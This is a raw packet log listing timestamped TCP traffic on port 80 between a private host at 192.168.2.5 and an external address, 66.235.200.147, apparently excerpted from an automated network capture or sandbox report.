Nov 27, 2022 04:36:42.891639948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891663074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891688108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891711950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891710997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.891710997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.891733885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891758919 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891760111 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.891782045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891799927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891802073 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.891825914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891849041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891849041 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.891889095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.891897917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891921997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891923904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.891946077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891971111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.891993999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892009974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.892023087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892045975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892045975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.892069101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892085075 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.892095089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892121077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892142057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.892180920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.892414093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892436981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892460108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892483950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892524958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.892570972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.892597914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892622948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892646074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892668962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892708063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892709970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.892730951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892740965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.892752886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892775059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892796993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892819881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892841101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892860889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892867088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.892867088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.892884016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892905951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892913103 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.892929077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892935991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.892951012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892961979 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.892971992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.892992973 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.893016100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.893032074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.893038034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.893058062 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.893131018 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.907305956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907351971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907397032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907443047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907468081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.907495975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907525063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907538891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.907552958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907581091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907607079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907610893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.907640934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907661915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.907670021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907697916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907725096 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907752037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907778978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907805920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907835007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907860994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907876968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.907876968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.907876968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.907876968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.907891035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907918930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907924891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.907944918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907972097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.907995939 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.907999039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908027887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908052921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908078909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908086061 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.908104897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908130884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908138990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.908157110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908183098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908210039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908236027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908240080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.908240080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.908263922 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908289909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908314943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908322096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.908341885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908353090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.908370972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908396959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908415079 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.908437967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908463955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908483982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908510923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908512115 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.908539057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908555031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.908566952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908577919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.908595085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908622980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908628941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.908651114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908678055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908706903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908709049 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.908735037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908735991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.908760071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908787966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908813000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908819914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.908843040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908853054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.908873081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908900023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908926010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908930063 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.908953905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.908956051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909003019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909030914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909035921 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909058094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909085035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909111977 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909113884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909138918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909140110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909168005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909193993 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909194946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909224987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909261942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909282923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909288883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909317970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909346104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909352064 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909372091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909383059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909399033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909425020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909452915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909452915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909478903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909480095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909507990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909563065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909584999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909614086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909640074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909667969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909677029 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909694910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909703016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909723997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909751892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909753084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909780025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909837961 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909852982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909881115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909908056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909934044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909944057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909960985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.909972906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.909989119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910016060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910041094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910048962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.910067081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910075903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.910094976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910121918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910147905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910157919 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.910175085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910186052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.910203934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910229921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910231113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.910257101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910284042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910310030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910312891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.910337925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.910587072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910614014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910640001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910666943 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910692930 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.910759926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910772085 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.910789967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910816908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910845041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910860062 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.910871983 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910918951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910948038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.910957098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.910957098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.910975933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911009073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911030054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911050081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911077976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911103964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911112070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.911112070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.911132097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911148071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.911161900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911189079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911215067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911242962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911264896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.911264896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.911267996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911298037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911318064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911344051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911356926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.911386013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.911622047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911648989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911675930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911703110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911717892 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.911731005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911746025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.911761045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911788940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911815882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911819935 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.911847115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911851883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.911875010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911901951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911930084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.911938906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911967039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911993980 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.911997080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.912023067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912023067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.912050009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912077904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912100077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912127018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912143946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.912153959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912180901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912199020 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.912209034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912230968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.912236929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912265062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912292957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912322044 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912328005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.912353992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.912522078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912571907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912599087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912626982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912636995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.912653923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912664890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.912682056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912710905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912739038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912759066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912780046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.912786961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912844896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.912854910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912882090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912909985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912935972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912961960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.912961006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.912961006 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.912988901 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.913002014 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.913028002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.913043022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.913053036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.913078070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.913100004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.913114071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.913125038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.913130999 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.913147926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.913172960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.913197041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.913259029 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.937475920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.937582970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.937589884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.937664986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.937736034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.937805891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:42.937819958 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:42.937879086 CET	80	49705	66.235.200.147	192.168.2.5
